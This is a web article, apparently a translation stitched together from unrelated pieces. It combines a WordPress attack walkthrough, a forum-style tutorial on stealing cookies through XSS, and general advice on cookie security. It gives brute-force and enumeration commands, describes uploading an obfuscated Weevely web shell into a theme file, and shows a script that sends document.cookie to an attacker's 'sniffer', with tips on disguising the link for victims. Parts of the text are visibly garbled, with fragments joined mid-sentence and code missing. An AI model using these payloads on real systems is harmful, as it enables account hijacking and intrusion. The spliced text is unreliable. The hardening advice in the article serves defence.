How to steal cookies. An easy way to steal cookies

WordPress is a convenient blog platform for publishing and managing articles, on which a huge number of different sites are based. Due to its prevalence, this CMS has long been a tasty morsel for attackers. Unfortunately, the basic settings do not provide a sufficient level of protection, leaving many default holes unclosed. In this article, we will go through the typical path of a “typical” hacking of a WordPress site, and also show how to eliminate the identified vulnerabilities.

Today, WordPress is the most popular content management system. Its share is 60.4% of the total number of sites using CMS engines. Of these, according to statistics, 67.3% of sites are based on latest version given software. Meanwhile, over the twelve years of the web engine’s existence, 242 vulnerabilities of various kinds were discovered in it (excluding vulnerabilities found in third-party plugins and themes). And the statistics of third-party add-ons look even sadder. Thus, the Revisium company analyzed 2,350 Russified WordPress templates taken from various sources. As a result, they found that more than half (54%) were infected with web shells, backdoors, blackhat SEO (“spam”) links, and also contained scripts with critical vulnerabilities. So make yourself comfortable, now we will figure out how to audit a WordPress site and eliminate the shortcomings found. We will use version 4.1 (Russified).

The first step in any test is usually to collect information about the target. And this is where it often helps. incorrect setting site indexing, which allows unauthorized users to view the contents of individual sections of the site and, for example, obtain information about installed plugins and topics, as well as access to confidential data or backups databases. To check which directories are visible from the outside, the easiest way is to use Google. It is enough to complete Google query Dorks like site:example.com intitle:"index of" inurl:/wp-content/ . The following directories can be specified in the inurl: statement:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

If you can look at /wp-content/plugins/ , the next step of collecting information about installed plugins and their versions is much easier. Naturally, you can disable indexing using the robots.txt file. Since by default it is not included in the WordPress installation package, you need to create it yourself and place it in the root directory of the site. There are quite a lot of manuals on creating and working with the robots.txt file, so I’ll leave this topic for self-preparation. I will give just one of the possible options:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ Disallow : /wp-content/themes/ Disallow: /?author=* Allow: /

If the files stored in the uploads folder contain confidential information, add the line to this list: Disallow: /wp-content/uploads/.
On the other hand, it is not recommended to place links to directories in the robots.txt file that were created specifically for storing sensitive information. Otherwise, by doing this, you will make the attacker’s task easier, since this is the first place where everyone usually looks in search of something “interesting.”

Another important step is identification CMS versions. Otherwise, how to choose a suitable exploit? There are three quick ways to determine the version of WordPress used on the site:

One of the protection options in this case- restrict access to the readme.html and ru_RU.po files using .htaccess.

WordPress security research was not started yesterday, so there are a sufficient number of tools that allow you to automate routine tasks.

• detecting version and theme using the script http-wordpress-info nmap -sV --script http-wordpress-info
• guessing a password using dictionaries nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com

• module for determining the version: auxiliary/scanner/http/wordpress_scanner ;
• module for determining username auxiliary/scanner/http/wordpress_login_enum .

• listing installed plugins: wpscan --url www.exmple.com --enumerate p ;
• listing installed themes: wpscan --url www.exmple.com --enumerate t ;
• enumerate installed timthumbs: wpscan --url www.example.com --enumerate tt ;
• determining username: wpscan --url www.example.com --enumerate u ;
• selecting a password using a dictionary for the admin user: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
• password guessing using the username/password combination with the number of threads equal to 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .

Now let's collect information about installed plugins and themes, whether they are activated or not. First of all, such information can be extracted from the source code of the HTML page, for example, from JavaScript links, from comments and CSS-type resources that are loaded onto the page. This is the easiest way to obtain information about installed components. For example, the lines below indicate the twentyeleven theme being used:

Since information about plugins is not always displayed in the source code of the HTML page, you can detect installed components using the WPScan utility (see sidebar). Just don’t forget that searching through plugin paths will be recorded in the web server logs.
Having received data about the installed components, you can start searching for vulnerabilities on your own or find publicly available exploits on resources like rapid7 or exploit-db.

By default, WordPress assigns each user a unique ID, represented as a number: example.com/?author=1 . By sorting through the numbers, you will determine the names of the site's users. Account administrator admin, which is created during the process WordPress installations, comes at number 1, so it is recommended to remove it as a protective measure.

Knowing the username, you can try to guess the password for the administration panel. The WordPress login form on the wp-login.php page is very informative (Fig. 3), especially for an attacker: if you enter incorrect data, prompts appear about the wrong username or password for a specific user. The developers are aware of this feature, but decided to leave it, since such messages are convenient for users who might have forgotten their login and/or password. The password guessing problem can be solved using strong password, consisting of twelve or more characters and including the letters uppercase and lowercase, numbers and special characters. Or, for example, using the Login LockDown plugin.

After we have reset the password, nothing prevents us from uploading a shell to a compromised web resource. For these purposes, the Weevely framework is quite suitable, which allows you to generate a shell in an obfuscated form, which makes its detection quite difficult. To avoid arousing suspicion, the resulting code can be inserted into any theme file (for example, index.php) through the WordPress console theme editor. Then, using the same Weevely, you can connect to the victim’s machine and call various commands:

Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type:help for more information. weevely>:help

To deny access to sensitive information, it is better to use the .htaccess file - this is a configuration file used in Apache Web Server. Let's consider the capabilities of this file from a security point of view. With its help you can: deny access to directories and files, block various SQL injections and malicious scripts. For this purpose, the standard .htaccess file for CMS WordPress 4.1 needs to be expanded a bit. To close the list of files and folders, add:

Options +FollowSymLinks -Indexes

RewriteCond %(QUERY_STRING) base64_encode[^(]*\([^)]*\) will block links containing Base64 encoding. Get rid of links containing the tag:

RewriteCond %(QUERY_STRING) (|%3E)

Counter scripts attempting to set global variables or change the _REQUEST variable via URL:

RewriteCond %(QUERY_STRING) GLOBALS (=|\[|\%(0,2)) RewriteCond %(QUERY_STRING) _REQUEST (=|\[|\%(0,2))

To counteract SQL injections, we block requests to URLs containing certain keywords:

RewriteCond %(query_string) concat.*\( RewriteCond %(query_string) union.*select.*\( RewriteCond %(query_string) union.*all.*select RewriteRule ^(.*)$ index.php

To ruin the life of common hacker utilities, we filter out certain user agents:

SetEnvIf user-agent "Indy Library" stayout=1 SetEnvIf user-agent "libwww-perl" stayout=1 SetEnvIf user-agent "Wget" stayout=1 deny from env=stayout

It would also be a good idea to limit access to particularly important files that store configuration or simply can give out some information to an attacker. The following candidates can be distinguished:

• wp-config.php , contains the database name, username, password and table prefix;
• .htaccess ;
• readme.html and ru_RU.po, which contain the WordPress version;
• install.php .

This is done as follows:

Order Allow,Deny Deny from all

Moreover, the .htaccess file containing these lines must be located in the same directory as the protected file. Then we prohibit the listing of users (remember, just above we talked about how easy it is to get a list of users?):

RewriteCond %(QUERY_STRING) author=\d RewriteRule ^ /?

So, what else? You can only allow logins from specified IP addresses. To do this, create a .htaccess file in the wp-admin folder with the following rules:

AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Access Control" AuthType Basic order deny,allow deny from all allow from 178.178.178.178 # Home computer IP allow from 248.248.248.248 # Work computer IP

The method is not very flexible and is only applicable if you are working with a limited number of fixed IP addresses. IN otherwise It is recommended to set a password for the wp-admin folder through the hosting panel (if such functionality is available).

To what was said above, the following recommendations can be added. First, use only current versions WordPress and its components - this will eliminate known vulnerabilities. Secondly, remove unused plugins and themes that can also be exploited. Third, download themes and WordPress plugins from reliable sources, such as developer sites and the official WordPress site. Just like your home PC, you need to periodically check your web resource with a web antivirus, for example AI-Bolit. If you have access to a web server, configure access rights to files and directories. As a rule, WordPress sets all the necessary rights at the installation stage, but if necessary, chmod can be set manually. For directories - chmod 755, for files - chmod 644. Make sure that 777 rights are only assigned to objects that need it (sometimes this is necessary for normal operation some plugins). If WordPress stops functioning normally, experiment with access rights: first try 755, then 766 and finally 777. For all htaccess files, set chmod 444 (read only). If the site stops working, try experimenting with the values ​​400, 440, 444, 600, 640, 644.

Move the wp-config.php file. This file contains information about MySQL settings, table prefix, secret keys, etc. Therefore, it must be transferred so that the file is not accessible from the Internet. If the site is not located in the public_html folder, then move the wp-config.php file to a higher folder, and WordPress will automatically find it in this root directory (applicable if the hosting has only one site on this CMS).

To make it more difficult to fill the shell, disable the ability to edit the theme through the WordPress console. To do this, insert the following line into the wp-config.php file: define("DISALLOW_FILE_EDIT", true); .

Another weak point is the install.php file (which is in the wp-admin folder). Therefore, it is better to delete, block or change it. Do one of the options:

In addition to notifying site visitors, this script performs the following actions:

• sends status code 503 to the client and search engines (“Service is temporarily unavailable”);
• indicates the period of time after which clients and search engines can return to the site (customizable parameter);
• notifies by email about the problem with the database so that appropriate measures can be taken.

The fact is that in earlier versions of WordPress (alert() and click "find"
A window with xss appears, which means xss is present. (Perhaps by the time you read this article, this xss will have already been removed)

2.2.Active XSS
Such css can be, for example, in profile fields, when adding news in the title of the news and in the news itself (less often), in messages on forums/chat rooms/guest rooms with html enabled. Everything is simple here, we enter the script from the previous subparagraph into the fields, and if the message is displayed on the screen, then the vulnerability is present.
Let's look at xss in BB tags on the forums.
You can try to simply insert javascript code into the tag, for example like this:
javascript:alert('xss')
Some tags have parameters, for example a tag has dynsrc and lowsrc parameters, let's try to substitute the code like this:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
If the script worked, xss is there

3.Using XSS to Steal Cookies
Now the most delicious))))
In order to steal cookies, we need a web sniffer, you can install some kind of sniffer on your hosting, or you can use an online sniffer, of which there are plenty now.
To steal cookies via passive XSS, the victim must follow a poisonous link. To steal cookies, we will use another script instead of alert('xss'):
img = new Image();


we substitute the script into the link and let the victim follow it, look at the sniffer log and rejoice.
Let's look at an example.
Let's take that XSS on Rambler from the previous paragraph.
We insert
">
img = new Image();
img.src = "sniffer image address"+document.cookie;

in the search form, click “find”, look at the address bar and see:

http://miss.rambler.ru/srch/?sort=0& … &words =">
We send this link to the victim and enjoy the cookies.
Seeing such a link, the victim may suspect something, so it is advisable to encode
">img = new Image();img.src = "sniffer image address"+document.cookie;
in URL Or use services like http://tinyurl.com/
Let's move on to active XSS, everything is simple here, instead of alert() we insert img = new Image();img.src = "address of the sniffer image"+document.cookie;

Now we have cookies. But what to do with them? It's simple, you need to substitute them instead of your own. IN Opera browser there is a built-in cookie editor (tools->advanced->cookie management), there is a plugin for firefox (I don’t remember what it’s called, use Google)
That's all for now, perhaps the article will be supplemented

The picture shows that the cookie contains the line wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. This value is in unencrypted form in the cookie and can be easily intercepted using the Achilles utility, but in most cases in Achilles you can only see the hash of a particular entry. Before sending the request to the server, you can try to replace this line with any similar one (although in this case there is no point) - the number of attempts is not limited. Then, by sending this request to the server using the Send button, you can receive a response from the server intended for the administrator.

In the previous example, you can use direct user ID spoofing. In addition, the name of the parameter, replacing the value of which provides additional features hacker, can be the following: user (for example, USER=JDOE), any expression with an ID string (for example, USER=JDOE or SESSIONID=BLAHBLAH), admin (for example, ADMIN=TRUE), session (for example, SESSION=ACTIVE), cart (for example, CART=FULL), as well as expressions such as TRUE, FALSE, ACTIVE, INACTIVE. Typically, the format of cookies is very dependent on the application for which they are used. However, these tips for finding application flaws using cookies apply to almost all formats.

IN general case Users should be wary of Web sites that use cookies for authentication and to store sensitive data. It is also important to remember that a Web site that uses cookies for authentication must support at least SSL protocol to encrypt the username and password, since in the absence of this protocol the data is transmitted in unencrypted form, which allows them to be intercepted using the simplest software to view data being sent over the network.

Kookaburra Software has developed a tool to facilitate the use of cookies. The tool is called CookiePal (http://www.kburra.com/cpal.html (see www.kburra.com)). This program is designed to alert the user when a Web site attempts to install a cookie on the machine, and the user can allow or deny this action. Similar features Blocking cookies is available in all browsers today.

Another reason for regularly installing Web browser updates is that security flaws in these programs are constantly being identified. So, Bennet Haselton and Jamie McCarthy created a script that, after clicking on a link, retrieves cookies from the client's machine. As a result, all the contents of the cookies that are on the user's machine become available.

This type of hack can also be accomplished by using a handle embedded in the HTML text of a Web page (or in the HTML content email or newsgroups) to steal cookies. Consider the following example:

To ensure that such things do not threaten our personal data, I do this myself and advise everyone to always update software that works with HTML code (e-mail clients, media players, browsers, etc.).

Many people prefer to simply block cookies, but most Web sites require cookies to be browsed. Conclusion - if in the near future an innovative technology appears that allows you to do without cookies, programmers and administrators will breathe a sigh of relief, but for now cookies remain a tasty morsel for a hacker! This is true, since a better alternative does not yet exist.

When it comes to recommendations for ensuring server security, experts give one simple piece of advice: do not use the cookie mechanism unless absolutely necessary! Particular care must be taken when using cookies that remain on the user's system after the end of the communication session.

Of course, it is important to understand that cookies can be used to provide security to Web servers for user authentication. If your application does need to use cookies, you should configure the cookie mechanism to use different keys with a short validity period for each session, and try not to put information in these files that could be used by hackers for hacking (such as ADMIN=TRUE).

In addition, to ensure greater safety when working with cookies you can use encryption to prevent extraction important information. Of course, encryption does not solve all security problems when working with cookie technology, but this method will prevent the most basic hacks described above.

Cookies- information in the form text file, stored on the user's computer by a website. Contains authentication data (login/password, ID, phone number, address mailbox), user settings, access status. Stored in the browser profile.

Cookie hacking is the theft (or “hijacking”) of a web resource visitor’s session. Private information becomes available not only to the sender and recipient, but also to a third party - the person who carried out the interception.

Computer thieves, like their colleagues in real life, in addition to skills, dexterity and knowledge, of course, also have their own tools - a kind of arsenal of master keys and probes. Let's take a look at the most popular tricks hackers use to extract cookies from Internet users.

Special programs for tracking and analysis network traffic. Their name comes from the English verb “sniff” (sniff), because. literally “sniff out” transmitted packets between nodes.

But attackers use a sniffer to intercept session data, messages, and other confidential information. The targets of their attacks are mainly unprotected networks, where cookies are sent in an open HTTP session, that is, they are practically not encrypted. (Public Wi-Fi is the most vulnerable in this regard.)

To embed a sniffer into the Internet channel between the user node and the web server, the following methods are used:

• “listening” to network interfaces (hubs, switches);
• branching and copying traffic;
• connecting to a network channel gap;
• analysis through special attacks that redirect the victim’s traffic to the sniffer (MAC-spoofing, IP-spoofing).

The abbreviation XSS stands for Cross Site Scripting. Used to attack websites in order to steal user data.

The principle of XSS is as follows:

• an attacker inserts malicious code (a special disguised script) into a web page of a website, forum, or into a message (for example, when corresponding on a social network);
• the victim goes to the infected page and activates the installed code on his PC (clicks, follows a link, etc.);
• in turn, the executed malicious code “extracts” the user’s confidential data from the browser (in particular, cookies) and sends it to the attacker’s web server.

In order to “implant” a software XSS mechanism, hackers use all sorts of vulnerabilities in web servers, online services and browsers.

All XSS vulnerabilities are divided into two types:

• Passive. The attack is obtained by requesting a specific script on a web page. Malicious code can be entered into various forms on a web page (for example, into a site search bar). The most susceptible to passive XSS are resources that do not filter HTML tags when data arrives;
• Active. Located directly on the server. And they are activated in the victim’s browser. They are actively used by scammers in all kinds of blogs, chats and news feeds.

Hackers carefully “camouflage” their XSS scripts so that the victim does not suspect anything. They change the file extension, pass off the code as an image, motivate them to follow the link, and attract them with interesting content. As a result: a PC user, unable to control his own curiosity, with his own hand (with a mouse click) sends session cookies (with login and password!) to the author of the XSS script - the computer villain.

All cookies are saved and sent to the web server (from which they “came”) without any changes - in their original form - with the same values, strings and other data. Deliberate modification of their parameters is called cookie substitution. In other words, when replacing cookies, the attacker pretends to be wishful thinking. For example, when making a payment in an online store, the cookie changes the payment amount downwards - thus, “saving” on purchases occurs.

Stolen social network session cookies from someone else’s account are “inserted” into another session and on another PC. The owner of the stolen cookies gets full access to the victim's account (correspondence, content, page settings) as long as she is on her page.

“Editing” cookies is carried out using:

• functions " Manage cookies..." in the Opera browser;
• Cookies Manager and Advanced Cookie Manager addons for FireFox;
• IECookiesView utilities (only for Internet Explorer);
• text editor like AkelPad, NotePad or Windows Notepad.

Very simple circuit implementation consists of several steps. But it is effective only if the victim’s computer with an open session, for example VKontakte, is left unattended (and for a long time!):

As a rule, hackers use the above tools (+ others) both in combination (since the level of protection on many web resources is quite high) and separately (when users are excessively naive).

And most importantly, do not lose vigilance and attention while relaxing or working on the Internet!